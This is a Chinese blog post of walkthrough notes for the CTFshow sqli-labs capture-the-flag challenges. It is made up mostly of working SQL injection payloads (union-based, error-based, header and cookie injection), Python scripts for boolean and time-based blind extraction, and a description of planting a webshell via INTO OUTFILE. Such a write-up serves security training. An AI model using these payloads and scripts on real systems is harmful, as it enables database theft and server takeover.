CTFshow_sqli-labs_全关卡万字通关笔记

已于 2024-08-12 16:03:24 修改
阅读量129 收藏
点赞数 2
分类专栏： CTFshow 文章标签： 学习 web安全 sql 笔记 前端
于 2024-07-13 03:22:18 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/dasdasdasvsdV/article/details/140392359
版权

文章目录

Sqli-labs

Web517 字符型注入

首先加 id=1’ 判断是字符型注入还是数字型注入，这时sql语句出错，程序无法正常从数据库中查询出数据，就会抛出异常；此时可以判断大概率存在注入，因为只有服务器将这个单引号一起当作SQL语句执行时才会报错，但是并不绝对，也有可能是程序本身的问题引起报错。
在这里插入图片描述
加and 1=2，语句执行正常，排除数字型注入
在这里插入图片描述

使用order by 二分法（10-5-3）判断出数据仅存在三列
在这里插入图片描述
使用union select 与 id=-1判断出有回显可以利用
在这里插入图片描述
第二第三个位置可以使用
在这里插入图片描述

GROUP_CONCAT 是一个聚合函数，用于将来自多个行的值连接成一个字符串。它通常在 GROUP BY 子句中使用。
CONCAT_WS 是一个字符串函数，用于将多个字符串连接成一个字符串，并使用指定的分隔符。

查库名
在这里插入图片描述
查表名
在这里插入图片描述
查字段名
在这里插入图片描述

成功爆出所有的账号密码！

在这里插入图片描述

总流程
在这里插入图片描述

Web518 数字型注入

和Less-1一样，区别在于本关为数字型注入，加id=1 而不是id=1’

?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+       #查询所有的数据库
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'--+      #查询ctfshow数据库中的表
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfshow' and table_name='flagaa'--+                  #查询flagaa表中的所有列
?id=-1 union select 1,flagac,3 from ctfshow.flagaa--+   #查询flagac列中的数据

Web519 字符型注入id=1’)

同理，本关加id=1’)

Web520 字符型注入id=1")

根据提示可知正确的输入应该为id =1" --+
在这里插入图片描述
在这里插入图片描述
接下来重复Less-1的操作

?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata --+       #查询所有的数据库
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow' --+    查询ctfshow数据库中的所有的表
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='ctfshow' and table_name='flagsf' --+       #查询flagsf表中的所有列
?id=-1") union select 1,flag23,3 from ctfshow.flagsf --+      #查询flag23列中的数据

Web521 布尔盲注 id=1’

观察可知，当id输入正确的时候返回”You are in…“，当id输入错误的时候，无返回值，即只会根据注入信息返回True或者False，没有之前的查询信息或者报错信息。
在这里插入图片描述

首先判断第一位是否为s
在这里插入图片描述
接下来就不用一个个手工猜，可以上burp了
在这里插入图片描述
在这里插入图片描述

得出第一位为s
在这里插入图片描述
再次进行暴力破解
在这里插入图片描述二分查找法

global url
url ="https://6fffe10e-e146-4548-81e5-dddaf204ac99.challenge.ctf.show/?id="
flag=""
i = 0
while True:
    i = i+1
    low = 32
    high =127
    while low < high:
        mid = (low+high)//2 # 用整除运算符//对结果除以2，得到当前范围的中间值mid
        #payload = f"1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid} --+"
        #payload = f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid} --+"
        payload = f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagpuck'),{i},1))>{mid} --+" # 修改table_name
        #payload = f"1' and ascii(substr((select flag33 from ctfshow.flagpuck),{i},1))>{mid} --+"
        r=requests.get(url=url+payload, verify=False)

        if "You are in..........." in r.text:
            low = mid+1
        else:
            high = mid
    if low !=32: # 当 low 和 high 最终收敛到 32 时，表示没有发现更高的有效 ASCII 值。
        flag+=chr(low)
    else:
        break
    print(flag)

Web522 布尔盲注id=1"

Less-5单引号改为双引号即可

Web523 利用SQL中的into outfile 函数

发现注入
在这里插入图片描述
插入一句话木马
在这里插入图片描述
Less7的文件夹
在这里插入图片描述
使用中国菜刀访问，成功取到网站的Webshell
在这里插入图片描述当然这一题因为只有两个回显也是很明显的bool盲注

Web523的payload:

?id=1')) union select 1,2,group_concat(schema_name) from information_schema.schemata into outfile "/var/www/html/1.txt" --+     将所有的数据库写入1.txt文件内
?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' into outfile "/var/www/html/2.txt" --+     将ctfshow数据库中的所有表写入2.txt文件内
?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagdk' into outfile "/var/www/html/3.txt" --+      #将flagdk表中的所有列写入3.txt
?id=1')) union select 1,2,flag43 from ctfshow.flagdk into outfile "/var/www/html/4.txt" --+     #将flag写入4.txt

Web524 时间盲注 id=1’

无论注入什么都是同一回显
在这里插入图片描述
用时间盲注的脚本即可（修改一下）

import requests
import warnings

warnings.filterwarnings('ignore')
global url
url ="https://9d64d7f4-e62a-4792-ae6c-d103abef7123.challenge.ctf.show/?id="
flag=""
i=0
while True:
    i += 1
    low = 32
    high =127

    while low < high:
        mid = (low+high)//2

        #payload=f"1' and if((ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid}),sleep(0.4),0) --+"
        payload=f"1\" and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),{i},1))>{mid}),sleep(0.4),0) --+"
        #payload=f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagug'),{i},1))>{mid}),sleep(0.4),0) --+"
        #payload=f"1\" and if((ascii(substr((select flag4a23 from ctfshow.flagug),{i},1))>{mid}),sleep(0.4),0) --+"

        r=requests.get(url=url+payload, verify=False)

        try:
          # timeout=0.3 设置请求的超时时间为 0.3 秒。如果服务器在这个时间内没有响应，requests 将抛出一个异常。
          # 如果请求超时（即服务器响应延迟超过 0.3 秒），则会抛出异常，except 块会捕获这个异常并执行其中的代码。异常处理将 low 设置为 mid + 1（即增加低值），表明当前的 mid 值太低，实际的字符值可能更大。
          r=requests.get(url=url+payload,timeout=0.3, verify=False)
          high =mid
        except:
           low =mid +1
    if low!= 32:
        flag+=chr(low)
    else:
        break
    print(flag)

Web525 时间盲注 id=1"

同上

Web526 POST联合查询

在这里插入图片描述

Web528 POST联合查询 uname=1")

同上

Web529 POST布尔盲注 uname=’

post bool盲注，闭合符号 ') ，通过图片返回的俩种不同名字来判断，成功为flag.jpg，失败为slap.jpg。

import requests

if __name__ == '__main__':
    url = 'http://9489bc4d-ac59-47ef-ae2f-274db50f220a.challenge.ctf.show/'
    result = ''
    i = 0
    while True:
        i = i + 1
        low = 32
        high = 127
        while low < high:
            mid = (low + high) // 2

            # payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},1,0)'
            # payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flag"),{i},1))>{mid},1,0)'
            payload = f'if(ascii(substr((select group_concat(flag4) from ctfshow.flag),{i},1))>{mid},1,0)'
            # print(payload)
            data = {
                'uname': f"admin') and {payload}#",
                'passwd': '123'
            }
            # print(data['uname'])
            r = requests.post(url=url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid

        if low != 32:
            result += chr(low)
        else:
            break
        print(result)

Web530 POST布尔盲注 uname="

双引号布尔盲注

Web531 POST布尔盲注 uname=’ 关闭报错

用 ’ 闭合，但是把报错关了，所以需要不断的尝试闭合符。脚本还是上面的，修改一下就可以了。

Web532 POST时间盲注

其实所有的bool盲注都可以使用时间盲注来解决，bool盲注还需要回显才能判断，时间盲注甚至不需要回显，只需要时间即可，下面是脚本

Web533 POST报错注入

uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)#

uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select right(group_concat(flag4),24) from ctfshow.flag),0x7e),1)#

Web534 UA注入

输入admin admin回显UA，登进去后发现UA头被显示出来了，尝试输入错误的发现UA头并没有回显出来，这里可以用UA注入，也可以用报错注入，为了与上题区分，本题采用UA注入
在这里插入图片描述

'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) and'

 ' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1) and '

' and updatexml(1,concat(0x7e,(select right(group_concat(flag4),20) from ctfshow.flag),0x7e),1) and '

Web535 referer注入

referer报错注入，和上面的payload一样

Web536 Cookie注入

同上

Web537、Web538 Cookie注入Base64编码/双引号

和上面的cookie注入一个流程，但需要注意再抓到包后cookie那里，显示成了一串base64，于是只需要把整个后面的那一段base64编码一次即可，538同理，不过是双引号

拿不到Root啊
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ctfshow web521 报错注入和分段
weixin_56537388的博客
08-23 363
发现注入点闭合是’发现没有回显，但是因为有报错所以可以报错注入在注入点的判断过程中，发现数据库中SQL 语句的报错信息，会显示在页面中，因此可以利用报错信息进行注入。报错注入的原理，在错误信息中执行SQL 语句。触发报错的方式有很多，具体细节也不尽相同。此处建议直接背公式。
ctfshow web入门 sqli-labs（持续更新）
Lum1n0us's Blog
04-14 2133
文章目录web517-1web518-2web519-3web520-4web521-5web522-6web523-7web524-8web525-9web526-10web527-11web528-12web529-13web530-14web531-15web532-16web533-17web534-18web535-19web536-20web537-21web538-22web539-23 web517-1 ctfshow的sqli-labs和本地搭建最大的不同，就是show的flag不在当前的
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析
热门推荐
Jay17的博客
08-03 3万+
【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析 详细，超级详细
sqli-labs(全通关刷题笔记)
读万卷书，行万里路。
01-15 2424
文章目录1 准备工作2 基础挑战(1-20)less-1less-2less-3less-4less-5报错注入布尔注入延时注入less-6less-7less-8less-9less-10Hackbarless-11less-12less-14less-15less-16less-17less-18less-19less-203 高级注入(21-37)less-21less-22less-23less-24less-25less-26less-26aless-27less-27aless-28less-2
Sqli_labs通关全解--总结
cyynid的博客
01-09 2189
Sqli_labs通关全解
sqli-labs靶场通关秘籍分享（1-10关）
weixin_45585955的博客
04-16 2709
一、 1、SQL注入原理：sql语句未经查询直接带入数据库查新，sql注入攻击其实就是服务端的攻击，它与操作系统、服务器类型、脚本语言无关 2、sql注入类型：分为数字型、字符型、搜索型、xx型 3、注入提交方式：get提交、post提交、cookie提交。 4、注入攻击提交支持的类型 union注入、information_schema、宽字节注入、报错注入、盲注，这里的盲注分为三种，分别是 布尔型盲注、时间型盲注、报错型盲注。 updatexml注入分为 insert注入、update注入
Sqli-labs-maste靶场的下载、配置
weixin_68416970的博客
06-05 675
Sqli-labs-master靶场的下载、配置教程
Sqli-labs靶场之SQL手注通关详解--基础篇（Less 1~22）
qq_62169455的博客
07-30 1043
1.判断注入点，这里的页面中没有可以注入的地方，因此可以判断注入点在url栏2.判断注入类型id=1 and 1=1 页面正常id=1 and 1=2 页面正常id=1' and 1=1 --+ 页面正常id=1' and 1=2 --+ 页面异常由此可以判断该注入类型为单引号字符型注入（当然这里也可以不用判断，根据关卡名称就可以看出来）3.判断字段数id=1' order by 3--+ 页面正常id=1' order by 4--+ 页面异常4.判断回显点。
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqli-labs-master.zip
03-17
靶场的搭建过程相对简单，只需将下载的“sqli-labs-master.zip”文件解压，按照官方文档或者网络上的教程进行配置，就可以在个人虚拟环境中运行。这一步对于理解Web应用的运行环境和服务器配置也是很有帮助的。 在...
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
CTFshow-sqli-labs
Leo8283的博客
04-20 705
CTFshow sql-labs刷题记录 1-4 分别用’、"、’)、")闭合，通过联合查询语句union获取flag。由于当前调用的库非存放flag的库，可以用手注，通过元数据库information_schema.schemata表（查找所有库名），information_schema.tables表(查找所有表名)，information_schema.columns表查找列名，获取flag最终的位置。 查询所有数据库 union select 1,group_concat(schema_name),
java重点学习-spring
qq_40453972的博客
09-03 862
AOP称为面向切面编程，用于将那些与业务无关，但却对多个对象产生影响的公共行为和逻辑，抽取并封装为一个可重用的模块，这个模块被命名为“切面”(Aspect)，减少系统中的重复代码，降低了模块间的耦合度，同时提高了系统的可维护性。常见的AOP使用场景记录操作日志、●缓存处理Spring中内置的事务处理什么是AOP面向切面编程，用于将那些与业务无关，但却对多个对象产生影响的公共行为和逻辑，抽取公共模块复用，降低耦合你们项目中有没有使用到AOP。
iomuxc、pinctrl子系统、gpio子系统（学习总结）
最新发布
weixin_61385844的博客
09-04 920
IOMUXC是SOC设计中实现引脚复用的关键组件，它通过动态切换引脚功能，提高了IO资源的利用率，满足了不同外设和功能的IO需求。在配置和使用IOMUXC时，需要参考芯片使用手册和设备树文档，确保引脚功能的正确设置。
学习项目1
m0_62803606的博客
09-03 1606
这篇文章主要记录你最近入手的无线串口模块的配置情况，这是个很好的习惯，尤其是在你以后需要重复操作或排查问题时，会非常有帮助。- **DL_20无线串口模块**：这是一个常见的无线串口通信模块，通常基于nRF24L01+等无线通信芯片，支持点对点或多点通信，适合短距离的无线数据传输。是的，如果你按照步骤成功配置了两个模块并将它们连接到单机和电脑，当你在上位机软件（如SSCOM）上能稳定地接收到从单片机发送的数据（例如每秒输出的T值），就说明两个无线模块之间的通信已经配置成功。
假期学习-- iOS runtime的简单了解
m0_74217598的博客
09-04 935
（Runtime字典转模型，数据的接受取决于模型的属性）首先需要了解，属性定义在类里面，那么类里面就有一个属性列表，属性列表以数组的形式存在，根据属性列表就可以获得类里面的所有属性名，所以遍历属性列表，也就可以遍历模型中的所有属性名。所以RunTime字典转模型过程就很清晰了。
sqli-labs宽字节注入关卡
09-27
sqli-labs宽字节注入关卡是指在sqli-labs闯关中的相关关卡，用于学习和理解宽字节注入漏洞。它是通过将character_set_client设置为binary来解决宽字节或多字节问题的方法，从而有效避免宽字符注入。通过使用工具如sqlmap进行宽字节注入，结合脚本unmagicquotes.py，可以进一步探索和理解宽字节注入的技术。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值